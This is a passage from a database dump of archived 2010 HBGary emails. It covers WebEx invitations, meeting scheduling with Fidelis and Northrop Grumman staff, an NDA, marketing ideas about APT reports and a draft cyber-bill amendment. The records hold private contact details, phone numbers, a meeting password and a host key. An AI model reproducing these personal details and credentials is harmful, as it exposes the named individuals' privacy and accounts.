Inc.\r\n>\r\n>\r\n\r\n\r\nMike\r\n\r\n',2347,'aaron_hbgary_com/2347.html'),(1733,'2010-01-28','messenger@webex.com','/aaron@hbgary.com/new/1297000544.M775789P3547Q1733.eml','aaron@hbgary.com','Meeting scheduled: TASC/HBGary Demo','You are the host for this online meeting.   Topic: TASC/HBGary Demo  Date: Tuesday, February 2, 2010  Time: 6:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 575 445 606  Meeting Password: kibafo33  Host Key: 348526 (use this to reclaim host privileges)   -------------------------------------------------------  To start the online meeting  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=139446822  2. Log in to your account.  3. Click \"Start Now\".  4. Follow the instructions that appear on your screen.   -------------------------------------------------------  Audio conference information  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139446822&tollFree=0   Access code:575 445 606   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".  To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=139446822&UID=488445912&ICS=MS&LD=1&RD=2&ST=1&SHA2=K4U6IXIER3ZeCiT6r0ImX5k/6u2-ynluYx0CsfmYYGA=   To check whether you have the appropriate players installed for UCF (Universal Communications Format) rich media files, go to https://hbgary.webex.com/hbgary/systemdiagnosis.php   http://www.webex.com      ',9633,'aaron_hbgary_com/9633.html'),(1734,'2010-01-28','\"Aaron Barr\" <messenger@webex.com>','/aaron@hbgary.com/new/1297000544.M970555P3547Q1734.eml','aaron@hbgary.com','(Forward to attendees) Meeting invitation: TASC/HBGary Demo','**** You can forward this email invitation to attendees ****   Hello ,   Aaron Barr invites you to attend this online meeting.   Topic: TASC/HBGary Demo  Date: Tuesday, February 2, 2010  Time: 6:00 pm, Eastern Standard Time (New York, GMT-05:00)  Meeting Number: 575 445 606  Meeting Password: kibafo33    -------------------------------------------------------  To join the online meeting (Now from iPhones too!)  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/j.php?ED=139446822&UID=0&PW=NZWFhZTY0YTI3&RT=MiMxMQ%3D%3D  2. Enter your name and email address.  3. Enter the meeting password: kibafo33  4. Click \"Join Now\".   To view in other time zones or languages, please click the link:  https://hbgary.webex.com/hbgary/j.php?ED=139446822&UID=0&PW=NZWFhZTY0YTI3&ORT=MiMxMQ%3D%3D   -------------------------------------------------------  To join the audio conference only  -------------------------------------------------------  Call-in toll number (US/Canada): 1-408-792-6300  Global call-in numbers: https://hbgary.webex.com/hbgary/globalcallin.php?serviceType=MC&ED=139446822&tollFree=0   Access code:575 445 606   -------------------------------------------------------  For assistance  -------------------------------------------------------  1. Go to https://hbgary.webex.com/hbgary/mc  2. On the left navigation bar, click \"Support\".   You can contact me at:   aaron@hbgary.com    To add this meeting to your calendar program (for example Microsoft Outlook), click this link:  https://hbgary.webex.com/hbgary/j.php?ED=139446822&UID=0&ICS=MI&LD=1&RD=2&ST=1&SHA2=X9qx6pUFICQmklpvNlZTxp7fuE8yDMjHjNMH2wbuDjE=&RT=MiMxMQ%3D%3D   The playback of UCF (Universal Communications Format) rich media files requires appropriate players. To view this type of rich media files in the meeting, please check whether you have the players installed on your computer by going to https://hbgary.webex.com/hbgary/systemdiagnosis.php   Sign up for a free trial of WebEx  http://www.webex.com/go/mcemfreetrial   http://www.webex.com     IMPORTANT NOTICE: This WebEx service includes a feature that allows audio and any documents and other materials exchanged or viewed during the session to be recorded. By joining this session, you automatically consent to such recordings. If you do not consent to the recording, do not join the session.  ',11083,'aaron_hbgary_com/11083.html'),(1735,'2010-01-28','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297000545.M156903P3547Q1735.eml','\"Etue, David\" <david.etue@fidelissecurity.com>,\"Etue, David\" <david.etue@fidelissecurity.com>,','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGreg has a meeting from 12:30 to\r\n2:00 in Reston, we could do it after, are you close?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Thursday, January 28, 2010 11:52 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Rich Cummings; Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMoving to the 8th is\r\nfine.&nbsp; If possible, it would be better to move it to the afternoon as we\r\ndo our weekly sales and management meetings on Monday AM from 10-1.&nbsp; If 1\r\nPM doesn&#8217;t work, let&#8217;s go ahead with 9:30 and some of us can just miss the\r\nweekly updates.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:50 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi David\r\n\r\n&nbsp;\r\n\r\nThanks so much for the phone call today.&nbsp; I really\r\nenjoyed talking with you, you gave me a lot of insight.&nbsp; Unfortunately\r\nAaron will be out of town on Wednesday and he really wants to be there for the\r\nreasons I told you, so can you guys do Monday the 8th?\r\n&nbsp;9:30?&nbsp; We can demo our product for you and give your team and\r\noverview and Aaron would like to see your product and overview.&nbsp; All in\r\nthe spirit for working together on multiple fronts.&nbsp; &nbsp;&nbsp;Greg\r\nHoglund the founder and CEO will also be on that call he happens to be in DC\r\nthat week. &nbsp;I would plan 1.5 hours to 2 for both sides to present.&nbsp;\r\nDoes this work?&nbsp; I&#8217;ve copied both Rich(CTO) &nbsp;and Aaron(CEO HBGary\r\nFederal) \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',5717,'aaron_hbgary_com/5717.html'),(1736,'2010-01-28','\"Etue, David\" <david.etue@fidelissecurity.com>','/aaron@hbgary.com/new/1297000545.M338179P3547Q1736.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>,','RE: Meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nIf it works for them, lets do 3\r\nPM.&nbsp; We are in downtown Bethesda.\r\n\r\n\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund\r\n[mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:56 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nGreg has a meeting from 12:30 to\r\n2:00 in Reston, we could do it after, are you close?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Etue, David\r\n[mailto:david.etue@fidelissecurity.com] \r\nSent: Thursday, January 28, 2010 11:52 AM\r\nTo: Penny Leavy-Hoglund\r\nCc: Rich Cummings; Aaron Barr\r\nSubject: RE: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nMoving to the 8th is\r\nfine.&nbsp; If possible, it would be better to move it to the afternoon as we\r\ndo our weekly sales and management meetings on Monday AM from 10-1.&nbsp; If 1\r\nPM doesn&#8217;t work, let&#8217;s go ahead with 9:30 and some of us can just miss the\r\nweekly updates.\r\n\r\n&nbsp;\r\n\r\nThanks!\r\nDavid\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Penny Leavy-Hoglund [mailto:penny@hbgary.com] \r\nSent: Thursday, January 28, 2010 2:50 PM\r\nTo: Etue, David\r\nCc: \'Rich Cummings\'; \'Aaron Barr\'\r\nSubject: Meeting\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nHi David\r\n\r\n&nbsp;\r\n\r\nThanks so much for the phone call today.&nbsp; I really\r\nenjoyed talking with you, you gave me a lot of insight.&nbsp; Unfortunately\r\nAaron will be out of town on Wednesday and he really wants to be there for the\r\nreasons I told you, so can you guys do Monday the 8th?\r\n&nbsp;9:30?&nbsp; We can demo our product for you and give your team and\r\noverview and Aaron would like to see your product and overview.&nbsp; All in\r\nthe spirit for working together on multiple fronts.&nbsp; &nbsp;&nbsp;Greg\r\nHoglund the founder and CEO will also be on that call he happens to be in DC\r\nthat week. &nbsp;I would plan 1.5 hours to 2 for both sides to present.&nbsp;\r\nDoes this work?&nbsp; I&#8217;ve copied both Rich(CTO) &nbsp;and Aaron(CEO HBGary\r\nFederal) \r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\nPenny\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10106,'aaron_hbgary_com/10106.html'),(1737,'2010-01-28','\"Karen Burke\" <karenmaryburke@yahoo.com>','/aaron@hbgary.com/new/1297000545.M523550P3547Q1737.eml','penny@hbgary.com,aaron@hbgary.com','Gartner Looking for EndUser Customer for Gartner Security Summit in DC','Just saw this tweet (below)&nbsp;from Gartner security analyst Vic Whitman -- do we have a federal government customer who might want to participate in Gartner Security Summit in June? Best, K\r\n&nbsp;\r\n\"May have slot for END USER case study at Security Summit. DM me. DC week of 20June. Fed Agencies esp. welcome. #gartnersecurity\"\r\n\r\n\r\n\r\n',16543,'aaron_hbgary_com/16543.html'),(1738,'2010-01-28','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297000545.M710652P3547Q1738.eml','aaron@hbgary.com','NDA Enroute to You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nI just approved the NDA between NGC &amp; HBGary and it should\r\narrive in your eBasket shortly.&nbsp; If you will quick turn it, I&#8217;d like\r\nto set-up a short concall tomorrow with you and another SB (led by another former\r\nNGCer) to discuss way ahead for no more than 30 minutes.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf this fits &amp; you agree, I&#8217;d like to plan on 11:30 AM EST\r\n?\r\n\r\n&nbsp;\r\n\r\nCheers,\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10880,'aaron_hbgary_com/10880.html'),(1739,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000545.M891953P3547Q1739.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: NDA Enroute to You','Great bob.I have a meeting scheduled with Tom Conroy 1130-1pm.  Any chance we could do it at any other time during the day?Aaron\r\nFrom my iPhoneOn Jan 28, 2010, at 4:40 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n&lt;image001.gif&gt;\r\n\r\n\r\n\r\nAaron, \r\n\r\n \r\n\r\nI just approved the NDA between NGC &amp; HBGary and it should\r\narrive in your eBasket shortly.  If you will quick turn it, I’d like\r\nto set-up a short concall tomorrow with you and another SB (led by another former\r\nNGCer) to discuss way ahead for no more than 30 minutes.  \r\n\r\n \r\n\r\nIf this fits &amp; you agree, I’d like to plan on 11:30 AM EST\r\n?\r\n\r\n \r\n\r\nCheers,\r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team NGIS/DSD\r\nNorthrop Grumman Corporation \r\n310.210.2549 \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10208,'aaron_hbgary_com/10208.html'),(1740,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000546.M247256P3547Q1741.eml','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','Re: NDA Enroute to You','1030 sounds good.AaronFrom my iPhoneOn Jan 28, 2010, at 5:05 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nHow ‘bout\r\n10:30 your time?  Tell Tom hello for me—he’s a former NG\r\nComputing Systems guy (if this is the same Tom Conroy).  \r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 4:03 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: NDA Enroute to You\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGreat bob.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI have a meeting scheduled with Tom Conroy 1130-1pm.\r\n Any chance we could do it at any other time during the day?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 4:40 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.gif&gt; \r\n\r\n\r\n\r\nAaron, \r\n\r\n \r\n\r\nI just approved the NDA between NGC &amp;\r\nHBGary and it should arrive in your eBasket shortly.  If you will quick\r\nturn it, I’d like to set-up a short concall tomorrow with you and another\r\nSB (led by another former NGCer) to discuss way ahead for no more than 30\r\nminutes.  \r\n\r\n \r\n\r\nIf this fits &amp; you agree, I’d\r\nlike to plan on 11:30 AM EST ?\r\n\r\n \r\n\r\nCheers,\r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14171,'aaron_hbgary_com/14171.html'),(1741,'2010-01-28','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000546.M421991P3547Q1742.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: NDA Enroute to You','From my iPhoneBegin forwarded message:From: &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt;\r\nDate: January 28, 2010 5:05:46 PM ESTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: RE: NDA Enroute to You\r\n\r\n\r\n\r\n\r\nHow ‘bout\r\n10:30 your time?  Tell Tom hello for me—he’s a former NG\r\nComputing Systems guy (if this is the same Tom Conroy).  \r\n\r\n \r\n\r\nRobert &#39;Bob&#39;\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 4:03 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: NDA Enroute to You\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nGreat bob.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI have a meeting scheduled with Tom Conroy 1130-1pm.\r\n Any chance we could do it at any other time during the day?\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 4:40 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.gif&gt; \r\n\r\n\r\n\r\nAaron, \r\n\r\n \r\n\r\nI just approved the NDA between NGC &amp;\r\nHBGary and it should arrive in your eBasket shortly.  If you will quick\r\nturn it, I’d like to set-up a short concall tomorrow with you and another\r\nSB (led by another former NGCer) to discuss way ahead for no more than 30\r\nminutes.  \r\n\r\n \r\n\r\nIf this fits &amp; you agree, I’d\r\nlike to plan on 11:30 AM EST ?\r\n\r\n \r\n\r\nCheers,\r\n\r\n \r\n\r\nRobert &#39;Bob&#39; Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14844,'aaron_hbgary_com/14844.html'),(1742,'2010-01-28','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297000546.M617185P3547Q1743.eml','\"Aaron Barr\" <aaron@hbgary.com>','Business Discussion','\r\n\r\n\r\n\r\n\r\nBusiness Discussion\r\n\r\n\r\n\r\n\r\nWhen: Friday, January 29, 2010 9:30 AM-10:00 AM (GMT-06:00) Central Time (US &amp; Canada).\r\n\r\nWhere: Telecon&nbsp;&nbsp;&nbsp; 866.740.2200&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Conf ID&nbsp; 5379450\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nLooking forward to speaking with you then to work out some fun &amp; profitability!\r\n\r\n\r\n',1077,'aaron_hbgary_com/1077.html'),(1743,'2010-01-28','\"Shows, Bob (IS)\" <rj.shows@ngc.com>','/aaron@hbgary.com/new/1297000546.M72055P3547Q1740.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: NDA Enroute to You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHow &#8216;bout\r\n10:30 your time?&nbsp; Tell Tom hello for me&#8212;he&#8217;s a former NG\r\nComputing Systems guy (if this is the same Tom Conroy).&nbsp; \r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\'\r\nShows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Thursday, January 28, 2010 4:03 PM\r\nTo: Shows, Bob (IS)\r\nSubject: Re: NDA Enroute to You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nGreat bob.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI have a meeting scheduled with Tom Conroy 1130-1pm.\r\n&nbsp;Any chance we could do it at any other time during the day?\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Jan 28, 2010, at 4:40 PM, &quot;Shows, Bob (IS)&quot; &lt;rj.shows@ngc.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&lt;image001.gif&gt; \r\n\r\n\r\n\r\nAaron, \r\n\r\n&nbsp;\r\n\r\nI just approved the NDA between NGC &amp;\r\nHBGary and it should arrive in your eBasket shortly.&nbsp; If you will quick\r\nturn it, I&#8217;d like to set-up a short concall tomorrow with you and another\r\nSB (led by another former NGCer) to discuss way ahead for no more than 30\r\nminutes.&nbsp; \r\n\r\n&nbsp;\r\n\r\nIf this fits &amp; you agree, I&#8217;d\r\nlike to plan on 11:30 AM EST ?\r\n\r\n&nbsp;\r\n\r\nCheers,\r\n\r\n&nbsp;\r\n\r\nRobert \'Bob\' Shows \r\nUSAF Account Team\r\nNGIS/DSD\r\nNorthrop Grumman\r\nCorporation \r\n310.210.2549 \r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4188,'aaron_hbgary_com/4188.html'),(1744,'2010-01-28','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1297000550.M388452P3547Q1744.eml','\"Aaron Barr\" <aaron@hbgary.com>','Sign and return please','',3284,'aaron_hbgary_com/3284.html'),(1745,'2010-01-29','\"Matt O\'Flynn\" <matt@hbgary.com>','/aaron@hbgary.com/new/1297000555.M34146P3547Q1745.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','RE: Mandiants M-trends release party for APT @6pm DC3','Attached is the report that they distributed to our potential customers last\r\nnight...\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com] \r\nSent: Wednesday, January 27, 2010 11:02 AM\r\nTo: \'Aaron Barr\'; \'Matt O\'Flynn\'\r\nCc: \'Greg Hoglund\'; \'Phil Wallisch\'; \'Ted Vera\'\r\nSubject: RE: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nMatt and Phil are on it.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Wednesday, January 27, 2010 10:54 AM\r\nTo: Matt O\'Flynn\r\nCc: Greg Hoglund; Phil Wallisch; Ted Vera; Rich Cummings\r\nSubject: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nAnyone working on getting any intel on this?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n',10737,'aaron_hbgary_com/10737.html'),(1746,'2010-01-29','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297000555.M381735P3547Q1746.eml','all@hbgary.com','\"Week of APT Threats\" idea','Team,\r\n \r\nPotential marketing program: &quot;A Week of APT Threats&quot;\r\nHBGary releases a concise, well written analysis of a current APT threat, one per day, for an entire week.  This is a total of five analysis documents.  I imagine they are about 10 pages each.\r\nWe could choose the week to position around a conference or other event.\r\nWe give journalists pre-access to these documents, including juicy technical data, in trade for an interview or press piece around the threat.  Build some buzz in the few days leading up to the week of releases.\r\n\r\nWe could even do a little podcast series in conjunction with them (crazy but fun, I would be willing to record these if I am given time).\r\nWe could do multiples of these, at our choosing, at any time.\r\n \r\nRequirements:  \r\n5 unique APT malware samples that are relevant\r\nPhil, Greg, Martin all doing analysis for at least a day, probably plan for two days to be safe.  Not a bad hit considering the marketing value.\r\n \r\n \r\nWe could expand on the idea, and do an &quot;APT Threats In Review for March, 2010&quot;, &quot;... April 2010&quot; ... etc, releasing a single report at the end of each month covering that month&#39;s activity.  That would be more along the lines for the TMC to deliver.\r\n\r\n \r\nWe are going to CRUSH Mandiant,\r\n-Greg\r\n \r\n \r\n',5321,'aaron_hbgary_com/5321.html'),(1747,'2010-01-29','\"Rich Cummings\" <rich@hbgary.com>','/aaron@hbgary.com/new/1297000555.M568239P3547Q1747.eml','\"Matt O\'Flynn\" <matt@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Matt O\'Flynn\" <matt@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,','RE: Mandiants M-trends release party for APT @6pm DC3','Good Work Matt!  This is great intelligence.  Thank you very much for taking\r\nthe time to take apart the hardcopy/binder and fax it over to us all.\r\n\r\nRich\r\n\r\n-----Original Message-----\r\nFrom: Matt O\'Flynn [mailto:matt@hbgary.com] \r\nSent: Thursday, January 28, 2010 7:40 PM\r\nTo: \'Rich Cummings\'; \'Aaron Barr\'\r\nCc: \'Greg Hoglund\'; \'Phil Wallisch\'; \'Ted Vera\'; \'Penny Leavy\'; \'Bob\r\nSlapnik\'; \'Maria Lucas\'\r\nSubject: RE: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nAttached is the report that they distributed to our potential customers last\r\nnight...\r\n\r\nBest,\r\n\r\nMatt\r\n\r\n\r\n-----Original Message-----\r\nFrom: Rich Cummings [mailto:rich@hbgary.com]\r\nSent: Wednesday, January 27, 2010 11:02 AM\r\nTo: \'Aaron Barr\'; \'Matt O\'Flynn\'\r\nCc: \'Greg Hoglund\'; \'Phil Wallisch\'; \'Ted Vera\'\r\nSubject: RE: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nMatt and Phil are on it.\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, January 27, 2010 10:54 AM\r\nTo: Matt O\'Flynn\r\nCc: Greg Hoglund; Phil Wallisch; Ted Vera; Rich Cummings\r\nSubject: Mandiants M-trends release party for APT @6pm DC3\r\n\r\nAnyone working on getting any intel on this?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n',10309,'aaron_hbgary_com/10309.html'),(1748,'2010-01-29','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297000555.M815949P3547Q1748.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>,,,,,,','Re: Mandiants M-trends release party for APT @6pm DC3','I&#39;d like to see HBGary create a set of excellent white papers to help facilitate telling OUR story and communicating our value propositions.\r\n \r\nOn Thu, Jan 28, 2010 at 8:16 PM, Rich Cummings &lt;rich@hbgary.com&gt; wrote:\r\nGood Work Matt!  This is great intelligence.  Thank you very much for takingthe time to take apart the hardcopy/binder and fax it over to us all.\r\nRich\r\n\r\n\r\n-----Original Message-----From: Matt O&#39;Flynn [mailto:matt@hbgary.com]Sent: Thursday, January 28, 2010 7:40 PMTo: &#39;Rich Cummings&#39;; &#39;Aaron Barr&#39;\r\nCc: &#39;Greg Hoglund&#39;; &#39;Phil Wallisch&#39;; &#39;Ted Vera&#39;; &#39;Penny Leavy&#39;; &#39;BobSlapnik&#39;; &#39;Maria Lucas&#39;Subject: RE: Mandiants M-trends release party for APT @6pm DC3Attached is the report that they distributed to our potential customers last\r\nnight...Best,Matt-----Original Message-----From: Rich Cummings [mailto:rich@hbgary.com]Sent: Wednesday, January 27, 2010 11:02 AMTo: &#39;Aaron Barr&#39;; &#39;Matt O&#39;Flynn&#39;\r\nCc: &#39;Greg Hoglund&#39;; &#39;Phil Wallisch&#39;; &#39;Ted Vera&#39;Subject: RE: Mandiants M-trends release party for APT @6pm DC3Matt and Phil are on it.-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com]\r\nSent: Wednesday, January 27, 2010 10:54 AMTo: Matt O&#39;FlynnCc: Greg Hoglund; Phil Wallisch; Ted Vera; Rich CummingsSubject: Mandiants M-trends release party for APT @6pm DC3Anyone working on getting any intel on this?\r\nAaron BarrCEOHBGary Federal Inc.-- Bob SlapnikVice PresidentHBGary, Inc.301-652-8885 x104bob@hbgary.com\r\n',3370,'aaron_hbgary_com/3370.html'),(1749,'2010-01-29','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297000556.M208395P3547Q1750.eml','\"Rich Cummings\" <rich@hbgary.com>','Re: request for amendments - cyber bill','Thanks Rich,How about lets meet here:Starbucks901 North Stuart StreetArlington, VA 22203See you there about 7:45?AaronOn Jan 29, 2010, at 12:36 AM, Rich Cummings wrote:Aaron,&nbsp;Here is my attempt at an amendment worthy suggestion. &nbsp;See you in a few hours.&nbsp;I believe one of the best ways to ensure appropriations are being spent wisely is to continually assess gaps in Cyber Defense and Investigation capabilities.&nbsp;With properly trained teams, the analysis, dissemination and discussion of this research could drive significant enhancements in Cyber Security Technology and Training capabilities.&nbsp; This analysis will also drive the roadmap to security innovation.&nbsp; All or portions of the report could be made public information to encourage small business growth and research in the private sector.&nbsp;1.&nbsp; Annual Assessment of “Cyber Intrusion &amp; Attack investigations” from both govt and civilian orgs to include many vertical markets critical to national security.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - Multiple Teams should be included from both Government and Private Industry to conduct the analysis and reporting.- The study teams should be firewalled off from each other and their research and reports should be remain private to ensure unbiased high quality data- Root Cause Analysis: Cyber Investigators need advanced tools and training to perform accurate and thorough investigations to include Root Cause Identification following network Intrusions.&nbsp;&nbsp; Trending this data over time across multiple vertical markets is critical to understanding current and future attack trends and developing short term and long term countermeasures and protections.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; - Verticals included Energy, Defense, Financial, Manufacturing, Oil, Power Companies and organizations from other critical sectors of government and industry.&nbsp;&nbsp;&nbsp;From:&nbsp;Aaron Barr [mailto:aaron@hbgary.com]&nbsp;Sent:&nbsp;Wednesday, January 27, 2010 6:49 PMTo:&nbsp;Greg Hoglund; Penny Leavy; Ted Vera; Rich CummingsSubject:&nbsp;Fwd: request for amendments - cyber bill&nbsp;Wow. 